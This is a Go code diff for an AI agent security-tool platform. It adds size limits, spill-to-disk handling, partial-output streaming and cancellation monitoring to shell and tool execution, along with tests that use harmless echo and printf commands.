|
||||
}
|
||||
@@ -387,8 +387,12 @@ func RunDeepAgent(
|
||||
einoAgentName: orchestratorName,
|
||||
outputChunk: nil,
|
||||
beginMonitor: einoExecBegin,
|
||||
appendPartialMonitor: einoExecAppendPartial,
|
||||
registerCancelMonitor: einoExecRegisterCancel,
|
||||
unregisterCancelMonitor: einoExecUnregisterCancel,
|
||||
finishMonitor: einoExecFinish,
|
||||
toolTimeoutMinutes: agentToolTimeoutMinutes(appCfg),
|
||||
toolWaitTimeoutSeconds: agentToolWaitTimeoutSeconds(appCfg),
|
||||
shellNoOutputTimeoutSec: agentShellNoOutputTimeoutSeconds(appCfg),
|
||||
}
|
||||
}
|
||||
@@ -486,7 +490,7 @@ func RunDeepAgent(
|
||||
// 构建 filesystem 中间件(与 Deep sub-agent 一致)
|
||||
var peFsMw adk.ChatModelAgentMiddleware
|
||||
if einoSkillMW != nil && einoFSTools && einoLoc != nil {
|
||||
peFsMw, err = subAgentFilesystemMiddleware(ctx, einoLoc, toolInvokeNotify, "executor", einoExecBegin, einoExecFinish, agentToolTimeoutMinutes(appCfg), agentShellNoOutputTimeoutSeconds(appCfg), nil)
|
||||
peFsMw, err = subAgentFilesystemMiddleware(ctx, einoLoc, toolInvokeNotify, "executor", einoExecBegin, einoExecAppendPartial, einoExecRegisterCancel, einoExecUnregisterCancel, einoExecFinish, agentToolTimeoutMinutes(appCfg), agentToolWaitTimeoutSeconds(appCfg), agentShellNoOutputTimeoutSeconds(appCfg), nil)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("plan_execute filesystem 中间件: %w", err)
|
||||
}
|
||||
@@ -715,7 +719,7 @@ func historyToMessages(history []agent.ChatMessage, appCfg *config.Config, mwCfg
|
||||
opts = append(opts, schema.WithToolName(tn))
|
||||
}
|
||||
content := h.Content
|
||||
if !h.ModelFacingTrace {
|
||||
if !h.ModelFacingTrace || (toolContentMax > 0 && len(content) > toolContentMax) {
|
||||
content = normalizeRestoredToolContent(content, toolContentMax)
|
||||
}
|
||||
raw = append(raw, schema.ToolMessage(content, h.ToolCallID, opts...))
|
||||
|
||||
@@ -44,7 +44,7 @@ func TestHistoryToMessagesNormalizesLegacyRawToolOutput(t *testing.T) {
|
||||
|
||||
func TestHistoryToMessagesRestoresModelFacingTraceByteForByte(t *testing.T) {
|
||||
mw := &config.MultiAgentEinoMiddlewareConfig{
|
||||
ReductionMaxLengthForTrunc: 128,
|
||||
ReductionMaxLengthForTrunc: 4096,
|
||||
LatestUserMessageMaxRunes: 64,
|
||||
}
|
||||
userContent := strings.Repeat("model-facing-user-", 100)
|
||||
@@ -66,6 +66,24 @@ func TestHistoryToMessagesRestoresModelFacingTraceByteForByte(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestHistoryToMessagesCapsOversizedModelFacingToolTrace(t *testing.T) {
|
||||
mw := &config.MultiAgentEinoMiddlewareConfig{ReductionMaxLengthForTrunc: 128}
|
||||
h := []agent.ChatMessage{
|
||||
{Role: "assistant", ModelFacingTrace: true, ToolCalls: []agent.ToolCall{{ID: "t1", Type: "function", Function: agent.FunctionCall{Name: "exec"}}}},
|
||||
{Role: "tool", ToolCallID: "t1", ToolName: "exec", Content: strings.Repeat("model-facing-tool-", 1000), ModelFacingTrace: true},
|
||||
}
|
||||
msgs := historyToMessages(h, nil, mw)
|
||||
if len(msgs) != 2 {
|
||||
t.Fatalf("len=%d", len(msgs))
|
||||
}
|
||||
if len(msgs[1].Content) > 128 {
|
||||
t.Fatalf("restored model-facing tool bytes=%d, want <=128", len(msgs[1].Content))
|
||||
}
|
||||
if !strings.Contains(msgs[1].Content, "legacy tool output discarded") {
|
||||
t.Fatalf("missing cap marker: %q", msgs[1].Content)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHistoryToMessagesNeverReinjectsRawOversizedUserFallback(t *testing.T) {
|
||||
appCfg := &config.Config{OpenAI: config.OpenAIConfig{MaxTotalTokens: 10000}}
|
||||
mw := &config.MultiAgentEinoMiddlewareConfig{LatestUserMessageMaxRunes: 8000}
|
||||
|
||||
+259
-32
@@ -16,8 +16,10 @@ import (
|
||||
|
||||
"cyberstrike-ai/internal/config"
|
||||
"cyberstrike-ai/internal/mcp"
|
||||
"cyberstrike-ai/internal/tooloutput"
|
||||
|
||||
"github.com/creack/pty"
|
||||
"github.com/google/uuid"
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
@@ -37,6 +39,8 @@ type Executor struct {
|
||||
mcpServer *mcp.Server
|
||||
logger *zap.Logger
|
||||
shellNoOutputTimeoutSec int // execute/exec 无新输出空闲秒数;0=默认 300;-1=关闭(见 SetShellNoOutputTimeoutSeconds)
|
||||
toolOutputMaxBytes int
|
||||
spillRootDir string
|
||||
}
|
||||
|
||||
// NewExecutor 创建新的执行器
|
||||
@@ -57,6 +61,51 @@ func (e *Executor) SetShellNoOutputTimeoutSeconds(sec int) {
|
||||
e.shellNoOutputTimeoutSec = sec
|
||||
}
|
||||
|
||||
// SetToolOutputMaxBytes limits stdout/stderr retained and streamed by exec-like
|
||||
// tools. It should stay aligned with MCP result normalization so every channel
|
||||
// sees the same bounded payload. Oversized full output is spilled to disk first.
|
||||
func (e *Executor) SetToolOutputMaxBytes(maxBytes int) {
|
||||
e.toolOutputMaxBytes = maxBytes
|
||||
}
|
||||
|
||||
// SetToolOutputSpillRoot sets the reduction-compatible root for spilling full
|
||||
// exec stdout/stderr when the in-memory bound is exceeded (empty → tmp/reduction).
|
||||
func (e *Executor) SetToolOutputSpillRoot(rootDir string) {
|
||||
e.spillRootDir = strings.TrimSpace(rootDir)
|
||||
}
|
||||
|
||||
func (e *Executor) wrapToolOutputCallback(ctx context.Context, cb ToolOutputCallback) ToolOutputCallback {
|
||||
executionID := mcp.MCPExecutionIDFromContext(ctx)
|
||||
if e == nil || e.mcpServer == nil || strings.TrimSpace(executionID) == "" {
|
||||
return cb
|
||||
}
|
||||
return func(chunk string) {
|
||||
if chunk != "" {
|
||||
e.mcpServer.AppendToolExecutionPartialOutput(executionID, chunk)
|
||||
}
|
||||
if cb != nil {
|
||||
cb(chunk)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (e *Executor) spillOptsFromContext(ctx context.Context) tooloutput.SpillOpts {
|
||||
root := ""
|
||||
if e != nil {
|
||||
root = e.spillRootDir
|
||||
}
|
||||
opts := tooloutput.SpillOpts{RootDir: root}
|
||||
if ctx != nil {
|
||||
opts.ConversationID = mcp.MCPConversationIDFromContext(ctx)
|
||||
opts.ProjectID = mcp.MCPProjectIDFromContext(ctx)
|
||||
opts.ExecutionID = mcp.MCPExecutionIDFromContext(ctx)
|
||||
}
|
||||
if opts.ExecutionID == "" {
|
||||
opts.ExecutionID = uuid.NewString()
|
||||
}
|
||||
return opts
|
||||
}
|
||||
|
||||
// buildToolIndex 构建工具索引,将 O(n) 查找优化为 O(1)
|
||||
func (e *Executor) buildToolIndex() {
|
||||
e.toolIndex = make(map[string]*config.ToolConfig)
|
||||
@@ -149,9 +198,11 @@ func (e *Executor) ExecuteTool(ctx context.Context, toolName string, args map[st
|
||||
|
||||
var output string
|
||||
var err error
|
||||
// 如果上层提供了 stdout/stderr 增量回调,则边执行边读取并回调。
|
||||
if cb, ok := ctx.Value(ToolOutputCallbackCtxKey).(ToolOutputCallback); ok && cb != nil {
|
||||
output, err = streamCommandOutput(ctx, cmd, cb, ResolveShellNoOutputTimeoutSeconds(e.shellNoOutputTimeoutSec))
|
||||
spill := e.spillOptsFromContext(ctx)
|
||||
// 如果上层提供了 stdout/stderr 增量回调,或当前处于 MCP execution 中,则边执行边读取并回调。
|
||||
if cb, ok := ctx.Value(ToolOutputCallbackCtxKey).(ToolOutputCallback); (ok && cb != nil) || mcp.MCPExecutionIDFromContext(ctx) != "" {
|
||||
cb = e.wrapToolOutputCallback(ctx, cb)
|
||||
output, err = streamCommandOutput(ctx, cmd, cb, ResolveShellNoOutputTimeoutSeconds(e.shellNoOutputTimeoutSec), e.toolOutputMaxBytes, spill)
|
||||
if err != nil && shouldRetryWithPTY(output) {
|
||||
e.logger.Info("检测到工具需要 TTY,使用 PTY 重试",
|
||||
zap.String("tool", toolName),
|
||||
@@ -159,11 +210,11 @@ func (e *Executor) ExecuteTool(ctx context.Context, toolName string, args map[st
|
||||
cmd2 := exec.CommandContext(ctx, toolConfig.Command, cmdArgs...)
|
||||
applyDefaultTerminalEnv(cmd2)
|
||||
_ = prepareShellCmdSession(cmd2)
|
||||
output, err = runCommandWithPTY(ctx, cmd2, cb)
|
||||
output, err = runCommandWithPTY(ctx, cmd2, cb, e.toolOutputMaxBytes, spill)
|
||||
}
|
||||
} else {
|
||||
// 非流式:内存缓冲 + ctx 取消杀进程组;行为对齐原 CombinedOutput,避免双流管道 fan-in 死锁。
|
||||
output, err = combinedOutputCancellable(ctx, cmd)
|
||||
output, err = combinedOutputCancellableWithLimit(ctx, cmd, e.toolOutputMaxBytes, spill)
|
||||
if err != nil && shouldRetryWithPTY(output) {
|
||||
e.logger.Info("检测到工具需要 TTY,使用 PTY 重试",
|
||||
zap.String("tool", toolName),
|
||||
@@ -171,7 +222,7 @@ func (e *Executor) ExecuteTool(ctx context.Context, toolName string, args map[st
|
||||
cmd2 := exec.CommandContext(ctx, toolConfig.Command, cmdArgs...)
|
||||
applyDefaultTerminalEnv(cmd2)
|
||||
_ = prepareShellCmdSession(cmd2)
|
||||
output, err = runCommandWithPTY(ctx, cmd2, nil)
|
||||
output, err = runCommandWithPTY(ctx, cmd2, nil, e.toolOutputMaxBytes, spill)
|
||||
}
|
||||
}
|
||||
if err != nil {
|
||||
@@ -912,9 +963,11 @@ func (e *Executor) executeSystemCommand(ctx context.Context, args map[string]int
|
||||
// 非后台命令:等待输出
|
||||
var output string
|
||||
var err error
|
||||
// 若上层提供工具输出增量回调,则边执行边流式读取。
|
||||
if cb, ok := ctx.Value(ToolOutputCallbackCtxKey).(ToolOutputCallback); ok && cb != nil {
|
||||
output, err = streamCommandOutput(ctx, cmd, cb, ResolveShellNoOutputTimeoutSeconds(e.shellNoOutputTimeoutSec))
|
||||
spill := e.spillOptsFromContext(ctx)
|
||||
// 若上层提供工具输出增量回调,或当前处于 MCP execution 中,则边执行边流式读取。
|
||||
if cb, ok := ctx.Value(ToolOutputCallbackCtxKey).(ToolOutputCallback); (ok && cb != nil) || mcp.MCPExecutionIDFromContext(ctx) != "" {
|
||||
cb = e.wrapToolOutputCallback(ctx, cb)
|
||||
output, err = streamCommandOutput(ctx, cmd, cb, ResolveShellNoOutputTimeoutSeconds(e.shellNoOutputTimeoutSec), e.toolOutputMaxBytes, spill)
|
||||
if err != nil && shouldRetryWithPTY(output) {
|
||||
e.logger.Info("检测到系统命令需要 TTY,使用 PTY 重试")
|
||||
cmd2 := exec.CommandContext(ctx, shell, "-c", command)
|
||||
@@ -922,10 +975,10 @@ func (e *Executor) executeSystemCommand(ctx context.Context, args map[string]int
|
||||
cmd2.Dir = workDir
|
||||
}
|
||||
ConfigureShellCmdForAgentExecute(cmd2)
|
||||
output, err = runCommandWithPTY(ctx, cmd2, cb)
|
||||
output, err = runCommandWithPTY(ctx, cmd2, cb, e.toolOutputMaxBytes, spill)
|
||||
}
|
||||
} else {
|
||||
output, err = combinedOutputCancellable(ctx, cmd)
|
||||
output, err = combinedOutputCancellableWithLimit(ctx, cmd, e.toolOutputMaxBytes, spill)
|
||||
if err != nil && shouldRetryWithPTY(output) {
|
||||
e.logger.Info("检测到系统命令需要 TTY,使用 PTY 重试")
|
||||
cmd2 := exec.CommandContext(ctx, shell, "-c", command)
|
||||
@@ -933,7 +986,7 @@ func (e *Executor) executeSystemCommand(ctx context.Context, args map[string]int
|
||||
cmd2.Dir = workDir
|
||||
}
|
||||
ConfigureShellCmdForAgentExecute(cmd2)
|
||||
output, err = runCommandWithPTY(ctx, cmd2, nil)
|
||||
output, err = runCommandWithPTY(ctx, cmd2, nil, e.toolOutputMaxBytes, spill)
|
||||
}
|
||||
}
|
||||
if err != nil {
|
||||
@@ -974,9 +1027,19 @@ func (e *Executor) executeSystemCommand(ctx context.Context, args map[string]int
|
||||
// 非流式路径不使用双流管道 fan-in,避免 stderr 撑满管道缓冲区时与 stdout 互相阻塞导致死锁。
|
||||
// 无输出空闲检测由上层 agent.tool_timeout_minutes 兜底,不改变原 CombinedOutput 语义。
|
||||
func combinedOutputCancellable(ctx context.Context, cmd *exec.Cmd) (string, error) {
|
||||
var stdoutBuf, stderrBuf strings.Builder
|
||||
cmd.Stdout = &stdoutBuf
|
||||
cmd.Stderr = &stderrBuf
|
||||
return combinedOutputCancellableWithLimit(ctx, cmd, 0, tooloutput.SpillOpts{})
|
||||
}
|
||||
|
||||
func combinedOutputCancellableWithLimit(ctx context.Context, cmd *exec.Cmd, maxBytes int, spill tooloutput.SpillOpts) (string, error) {
|
||||
var tee *tooloutput.Tee
|
||||
if maxBytes > 0 {
|
||||
tee = tooloutput.NewTee(spill)
|
||||
defer func() { _ = tee.Close() }()
|
||||
}
|
||||
stdoutBuf := newBoundedOutputCollector(maxBytes, tee)
|
||||
stderrBuf := newBoundedOutputCollector(maxBytes, tee)
|
||||
cmd.Stdout = stdoutBuf
|
||||
cmd.Stderr = stderrBuf
|
||||
|
||||
session, err := StartShellSession(cmd)
|
||||
if err != nil {
|
||||
@@ -1003,9 +1066,9 @@ func combinedOutputCancellable(ctx context.Context, cmd *exec.Cmd) (string, erro
|
||||
case waitErr = <-done:
|
||||
case <-ctx.Done():
|
||||
waitErr = <-done
|
||||
return joinCommandOutput(stdoutBuf.String(), stderrBuf.String()), ctx.Err()
|
||||
return finalizeJoinedBoundedOutputs(stdoutBuf, stderrBuf, maxBytes, tee), ctx.Err()
|
||||
}
|
||||
return joinCommandOutput(stdoutBuf.String(), stderrBuf.String()), waitErr
|
||||
return finalizeJoinedBoundedOutputs(stdoutBuf, stderrBuf, maxBytes, tee), waitErr
|
||||
}
|
||||
|
||||
func joinCommandOutput(stdout, stderr string) string {
|
||||
@@ -1018,9 +1081,164 @@ func joinCommandOutput(stdout, stderr string) string {
|
||||
return stdout + stderr
|
||||
}
|
||||
|
||||
type boundedOutputCollector struct {
|
||||
builder strings.Builder
|
||||
maxBytes int
|
||||
seenBytes int
|
||||
truncated bool
|
||||
tee *tooloutput.Tee
|
||||
}
|
||||
|
||||
func newBoundedOutputCollector(maxBytes int, tee *tooloutput.Tee) *boundedOutputCollector {
|
||||
return &boundedOutputCollector{maxBytes: maxBytes, tee: tee}
|
||||
}
|
||||
|
||||
func (b *boundedOutputCollector) Write(p []byte) (int, error) {
|
||||
b.WriteStringLimited(string(p))
|
||||
return len(p), nil
|
||||
}
|
||||
|
||||
func (b *boundedOutputCollector) WriteStringLimited(s string) string {
|
||||
if b == nil {
|
||||
return ""
|
||||
}
|
||||
if b.tee != nil {
|
||||
_, _ = b.tee.Write([]byte(s))
|
||||
}
|
||||
if b.maxBytes <= 0 {
|
||||
b.seenBytes += len(s)
|
||||
b.builder.WriteString(s)
|
||||
return s
|
||||
}
|
||||
b.seenBytes += len(s)
|
||||
if b.builder.Len() >= b.maxBytes {
|
||||
b.truncated = true
|
||||
return ""
|
||||
}
|
||||
remaining := b.maxBytes - b.builder.Len()
|
||||
if len(s) <= remaining {
|
||||
b.builder.WriteString(s)
|
||||
return s
|
||||
}
|
||||
kept := truncateStringBytes(s, remaining)
|
||||
b.builder.WriteString(kept)
|
||||
b.truncated = true
|
||||
return kept
|
||||
}
|
||||
|
||||
func (b *boundedOutputCollector) String() string {
|
||||
if b == nil {
|
||||
return ""
|
||||
}
|
||||
return b.builder.String()
|
||||
}
|
||||
|
||||
func finalizeJoinedBoundedOutputs(stdout, stderr *boundedOutputCollector, maxBytes int, tee *tooloutput.Tee) string {
|
||||
if tee != nil {
|
||||
_ = tee.Close()
|
||||
}
|
||||
truncated := (stdout != nil && stdout.truncated) || (stderr != nil && stderr.truncated)
|
||||
seen := 0
|
||||
if stdout != nil {
|
||||
seen += stdout.seenBytes
|
||||
}
|
||||
if stderr != nil {
|
||||
seen += stderr.seenBytes
|
||||
}
|
||||
joined := joinCommandOutput(
|
||||
func() string {
|
||||
if stdout == nil {
|
||||
return ""
|
||||
}
|
||||
return stdout.String()
|
||||
}(),
|
||||
func() string {
|
||||
if stderr == nil {
|
||||
return ""
|
||||
}
|
||||
return stderr.String()
|
||||
}(),
|
||||
)
|
||||
if maxBytes > 0 && !truncated && len(joined) > maxBytes {
|
||||
truncated = true
|
||||
seen = len(joined)
|
||||
}
|
||||
path := ""
|
||||
if tee != nil {
|
||||
path = tee.Path()
|
||||
}
|
||||
if truncated && maxBytes > 0 {
|
||||
if path != "" {
|
||||
return tooloutput.FormatPersistedFromFile(path, seen, maxBytes)
|
||||
}
|
||||
if len(joined) > maxBytes {
|
||||
return truncateStringBytes(joined, maxBytes)
|
||||
}
|
||||
return joined
|
||||
}
|
||||
if path != "" {
|
||||
_ = os.Remove(path)
|
||||
}
|
||||
if maxBytes > 0 && len(joined) > maxBytes {
|
||||
return truncateStringBytes(joined, maxBytes)
|
||||
}
|
||||
return joined
|
||||
}
|
||||
|
||||
func finalizeBoundedOutput(collector *boundedOutputCollector, maxBytes int, tee *tooloutput.Tee) string {
|
||||
if tee != nil {
|
||||
_ = tee.Close()
|
||||
}
|
||||
if collector == nil {
|
||||
return ""
|
||||
}
|
||||
path := ""
|
||||
if tee != nil {
|
||||
path = tee.Path()
|
||||
}
|
||||
if collector.truncated && maxBytes > 0 {
|
||||
if path != "" {
|
||||
return tooloutput.FormatPersistedFromFile(path, collector.seenBytes, maxBytes)
|
||||
}
|
||||
return truncateStringBytes(collector.String(), maxBytes)
|
||||
}
|
||||
if path != "" {
|
||||
_ = os.Remove(path)
|
||||
}
|
||||
out := collector.String()
|
||||
if maxBytes > 0 && len(out) > maxBytes {
|
||||
return tooloutput.BoundWithSpill(out, maxBytes, tooloutput.SpillOpts{})
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func limitOutputString(s string, maxBytes int, spill tooloutput.SpillOpts) string {
|
||||
if maxBytes <= 0 || len(s) <= maxBytes {
|
||||
return s
|
||||
}
|
||||
return tooloutput.BoundWithSpill(s, maxBytes, spill)
|
||||
}
|
||||
|
||||
func truncateStringBytes(s string, maxBytes int) string {
|
||||
if maxBytes <= 0 {
|
||||
return ""
|
||||
}
|
||||
if len(s) <= maxBytes {
|
||||
return s
|
||||
}
|
||||
cut := maxBytes
|
||||
for cut > 0 && (s[cut]&0xC0) == 0x80 {
|
||||
cut--
|
||||
}
|
||||
if cut <= 0 {
|
||||
return ""
|
||||
}
|
||||
return s[:cut]
|
||||
}
|
||||
|
||||
// streamCommandOutput 以“边读边回调”的方式读取命令 stdout/stderr。
|
||||
// 使用定长块读取,避免按行读取在无换行输出时永久阻塞;ctx 取消时终止进程树。
|
||||
func streamCommandOutput(ctx context.Context, cmd *exec.Cmd, cb ToolOutputCallback, noOutputSec int) (string, error) {
|
||||
func streamCommandOutput(ctx context.Context, cmd *exec.Cmd, cb ToolOutputCallback, noOutputSec int, maxBytes int, spill tooloutput.SpillOpts) (string, error) {
|
||||
stdoutPipe, err := cmd.StdoutPipe()
|
||||
if err != nil {
|
||||
return "", err
|
||||
@@ -1072,7 +1290,12 @@ func streamCommandOutput(ctx context.Context, cmd *exec.Cmd, cb ToolOutputCallba
|
||||
close(chunks)
|
||||
}()
|
||||
|
||||
var outBuilder strings.Builder
|
||||
tee := (*tooloutput.Tee)(nil)
|
||||
if maxBytes > 0 {
|
||||
tee = tooloutput.NewTee(spill)
|
||||
defer func() { _ = tee.Close() }()
|
||||
}
|
||||
outBuilder := newBoundedOutputCollector(maxBytes, tee)
|
||||
var deltaBuilder strings.Builder
|
||||
lastFlush := time.Now()
|
||||
|
||||
@@ -1095,7 +1318,7 @@ func streamCommandOutput(ctx context.Context, cmd *exec.Cmd, cb ToolOutputCallba
|
||||
fireInactivity := func() {
|
||||
TerminateShellCmdSession(session)
|
||||
msg := ShellNoOutputTimeoutMessage(idleWatch.Sec)
|
||||
outBuilder.WriteString(msg)
|
||||
msg = outBuilder.WriteStringLimited(msg)
|
||||
if cb != nil {
|
||||
cb(msg)
|
||||
}
|
||||
@@ -1116,7 +1339,7 @@ chunksLoop:
|
||||
return outBuilder.String(), ctx.Err()
|
||||
case <-idleCh:
|
||||
fireInactivity()
|
||||
return outBuilder.String(), fmt.Errorf("shell inactivity timeout (%ds)", idleWatch.Sec)
|
||||
return finalizeBoundedOutput(outBuilder, maxBytes, tee), fmt.Errorf("shell inactivity timeout (%ds)", idleWatch.Sec)
|
||||
case chunk, ok := <-chunks:
|
||||
if !ok {
|
||||
break chunksLoop
|
||||
@@ -1124,8 +1347,8 @@ chunksLoop:
|
||||
if chunk != "" && idleWatch != nil {
|
||||
idleWatch.Bump()
|
||||
}
|
||||
outBuilder.WriteString(chunk)
|
||||
deltaBuilder.WriteString(chunk)
|
||||
keptChunk := outBuilder.WriteStringLimited(chunk)
|
||||
deltaBuilder.WriteString(keptChunk)
|
||||
if deltaBuilder.Len() >= 2048 || time.Since(lastFlush) >= 200*time.Millisecond {
|
||||
flush()
|
||||
}
|
||||
@@ -1135,7 +1358,7 @@ chunksLoop:
|
||||
|
||||
// 等待命令结束,返回最终退出状态
|
||||
waitErr := session.Wait()
|
||||
return outBuilder.String(), waitErr
|
||||
return finalizeBoundedOutput(outBuilder, maxBytes, tee), waitErr
|
||||
}
|
||||
|
||||
// applyDefaultTerminalEnv 为外部工具补齐常见的终端环境变量。
|
||||
@@ -1188,15 +1411,14 @@ func shouldRetryWithPTY(output string) bool {
|
||||
|
||||
// runCommandWithPTY 为子进程分配 PTY,适配需要交互式终端的工具(如 autorecon)。
|
||||
// 若 cb != nil,将持续回调增量输出(用于 SSE)。
|
||||
func runCommandWithPTY(ctx context.Context, cmd *exec.Cmd, cb ToolOutputCallback) (string, error) {
|
||||
func runCommandWithPTY(ctx context.Context, cmd *exec.Cmd, cb ToolOutputCallback, maxBytes int, spill tooloutput.SpillOpts) (string, error) {
|
||||
if runtime.GOOS == "windows" {
|
||||
// PTY 方案为类 Unix;Windows 走原逻辑
|
||||
if cb != nil {
|
||||
return streamCommandOutput(ctx, cmd, cb, 0)
|
||||
return streamCommandOutput(ctx, cmd, cb, 0, maxBytes, spill)
|
||||
}
|
||||
_ = prepareShellCmdSession(cmd)
|
||||
out, err := cmd.CombinedOutput()
|
||||
return string(out), err
|
||||
return combinedOutputCancellableWithLimit(ctx, cmd, maxBytes, spill)
|
||||
}
|
||||
|
||||
_ = prepareShellCmdSession(cmd)
|
||||
@@ -1223,7 +1445,12 @@ func runCommandWithPTY(ctx context.Context, cmd *exec.Cmd, cb ToolOutputCallback
|
||||
}()
|
||||
defer close(done)
|
||||
|
||||
var outBuilder strings.Builder
|
||||
tee := (*tooloutput.Tee)(nil)
|
||||
if maxBytes > 0 {
|
||||
tee = tooloutput.NewTee(spill)
|
||||
defer func() { _ = tee.Close() }()
|
||||
}
|
||||
outBuilder := newBoundedOutputCollector(maxBytes, tee)
|
||||
var deltaBuilder strings.Builder
|
||||
lastFlush := time.Now()
|
||||
flush := func() {
|
||||
@@ -1245,8 +1472,8 @@ func runCommandWithPTY(ctx context.Context, cmd *exec.Cmd, cb ToolOutputCallback
|
||||
// 统一换行为 \n,避免前端错位
|
||||
chunk = strings.ReplaceAll(chunk, "\r\n", "\n")
|
||||
chunk = strings.ReplaceAll(chunk, "\r", "\n")
|
||||
outBuilder.WriteString(chunk)
|
||||
deltaBuilder.WriteString(chunk)
|
||||
keptChunk := outBuilder.WriteStringLimited(chunk)
|
||||
deltaBuilder.WriteString(keptChunk)
|
||||
if deltaBuilder.Len() >= 2048 || time.Since(lastFlush) >= 200*time.Millisecond {
|
||||
flush()
|
||||
}
|
||||
@@ -1258,7 +1485,7 @@ func runCommandWithPTY(ctx context.Context, cmd *exec.Cmd, cb ToolOutputCallback
|
||||
flush()
|
||||
|
||||
waitErr := cmd.Wait()
|
||||
return outBuilder.String(), waitErr
|
||||
return finalizeBoundedOutput(outBuilder, maxBytes, tee), waitErr
|
||||
}
|
||||
|
||||
// executeInternalTool 执行内部工具(不执行外部命令)
|
||||
|
||||
@@ -73,6 +73,43 @@ func TestExecuteSystemCommand_BackgroundDoesNotBlockOnChildStdout(t *testing.T)
|
||||
}
|
||||
}
|
||||
|
||||
func TestExecToolSoftWaitExposesPartialOutput(t *testing.T) {
|
||||
executor, server := setupTestExecutor(t)
|
||||
server.ConfigureToolWaitTimeoutSeconds(1)
|
||||
mcp.RegisterExecutionControlTools(server, nil)
|
||||
server.RegisterTool(mcp.Tool{Name: "exec", InputSchema: map[string]interface{}{"type": "object"}}, func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
|
||||
return executor.ExecuteTool(ctx, "exec", args)
|
||||
})
|
||||
|
||||
result, executionID, err := server.CallTool(context.Background(), "exec", map[string]interface{}{
|
||||
"command": "for i in 1 2 3 4; do echo partial-$i; sleep 0.3; done; sleep 5",
|
||||
"shell": "sh",
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("CallTool exec: %v", err)
|
||||
}
|
||||
if executionID == "" || result == nil || !result.IsError {
|
||||
t.Fatalf("expected soft wait timeout, id=%q result=%#v", executionID, result)
|
||||
}
|
||||
|
||||
status, _, err := server.CallTool(context.Background(), "get_tool_execution", map[string]interface{}{
|
||||
"execution_id": executionID,
|
||||
"include_partial_output": true,
|
||||
"partial_output_max_bytes": 4096,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("get_tool_execution: %v", err)
|
||||
}
|
||||
body := mcp.ToolResultPlainText(status)
|
||||
if !strings.Contains(body, `"status": "running"`) {
|
||||
t.Fatalf("expected running execution, got: %s", body)
|
||||
}
|
||||
if !strings.Contains(body, "partial-") || !strings.Contains(body, "partial_output") {
|
||||
t.Fatalf("expected partial output in execution status, got: %s", body)
|
||||
}
|
||||
server.CancelToolExecution(executionID)
|
||||
}
|
||||
|
||||
func TestExecuteSystemCommand_FailureFormat(t *testing.T) {
|
||||
executor, _ := setupTestExecutor(t)
|
||||
res, err := executor.executeSystemCommand(context.Background(), map[string]interface{}{
|
||||
@@ -94,6 +131,70 @@ func TestExecuteSystemCommand_FailureFormat(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestExecuteSystemCommand_OutputIsSourceLimited(t *testing.T) {
|
||||
executor, _ := setupTestExecutor(t)
|
||||
spillRoot := t.TempDir()
|
||||
executor.SetToolOutputMaxBytes(200)
|
||||
executor.SetToolOutputSpillRoot(spillRoot)
|
||||
ctx := mcp.WithMCPConversationID(context.Background(), "exec-spill")
|
||||
res, err := executor.executeSystemCommand(ctx, map[string]interface{}{
|
||||
"command": "i=0; while [ $i -lt 2000 ]; do printf 0123456789; i=$((i+1)); done",
|
||||
"shell": "sh",
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("executeSystemCommand: %v", err)
|
||||
}
|
||||
if res == nil || res.IsError {
|
||||
t.Fatalf("expected success, got %+v", res)
|
||||
}
|
||||
text := res.Content[0].Text
|
||||
if !strings.Contains(text, "<persisted-output>") || !strings.Contains(text, "Full output saved to:") {
|
||||
t.Fatalf("missing persisted-output notice: %q", text)
|
||||
}
|
||||
if len(text) > 200 {
|
||||
t.Fatalf("output exceeded hard limit: len=%d text=%q", len(text), text)
|
||||
}
|
||||
if strings.Contains(text, strings.Repeat("0123456789", 20)) {
|
||||
t.Fatalf("output kept too much data: len=%d", len(text))
|
||||
}
|
||||
}
|
||||
|
||||
func TestExecuteSystemCommand_StreamingOutputIsSourceLimited(t *testing.T) {
|
||||
executor, _ := setupTestExecutor(t)
|
||||
spillRoot := t.TempDir()
|
||||
executor.SetToolOutputMaxBytes(200)
|
||||
executor.SetToolOutputSpillRoot(spillRoot)
|
||||
var streamed strings.Builder
|
||||
ctx := context.WithValue(context.Background(), ToolOutputCallbackCtxKey, ToolOutputCallback(func(chunk string) {
|
||||
streamed.WriteString(chunk)
|
||||
}))
|
||||
ctx = mcp.WithMCPConversationID(ctx, "exec-stream-spill")
|
||||
res, err := executor.executeSystemCommand(ctx, map[string]interface{}{
|
||||
"command": "i=0; while [ $i -lt 2000 ]; do printf abcdefghij; i=$((i+1)); done",
|
||||
"shell": "sh",
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("executeSystemCommand: %v", err)
|
||||
}
|
||||
text := res.Content[0].Text
|
||||
if !strings.Contains(text, "<persisted-output>") {
|
||||
t.Fatalf("missing persisted-output notice: %q", text)
|
||||
}
|
||||
if len(text) > 200 {
|
||||
t.Fatalf("returned output exceeded hard limit: len=%d text=%q", len(text), text)
|
||||
}
|
||||
// SSE only streams the bounded prefix; final agent-facing body is the spill notice.
|
||||
if len(streamed.String()) > 200 {
|
||||
t.Fatalf("streamed prefix exceeded hard limit: len=%d", len(streamed.String()))
|
||||
}
|
||||
if streamed.Len() == 0 {
|
||||
t.Fatal("expected some streamed prefix before truncation")
|
||||
}
|
||||
if strings.Contains(text, strings.Repeat("abcdefghij", 50)) {
|
||||
t.Fatalf("returned output kept too much raw data: len=%d", len(text))
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildCommandArgs_NmapSkipsEmptyOptionalFlags(t *testing.T) {
|
||||
pos1 := 1
|
||||
executor, _ := setupTestExecutor(t)
|
||||
|
||||
@@ -0,0 +1,292 @@
|
||||
// Package tooloutput spills oversized tool stdout/results to local files under
|
||||
// the reduction cache tree (tmp/reduction/...), so agents can read_file the
|
||||
// full text after context truncation.
|
||||
package tooloutput
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
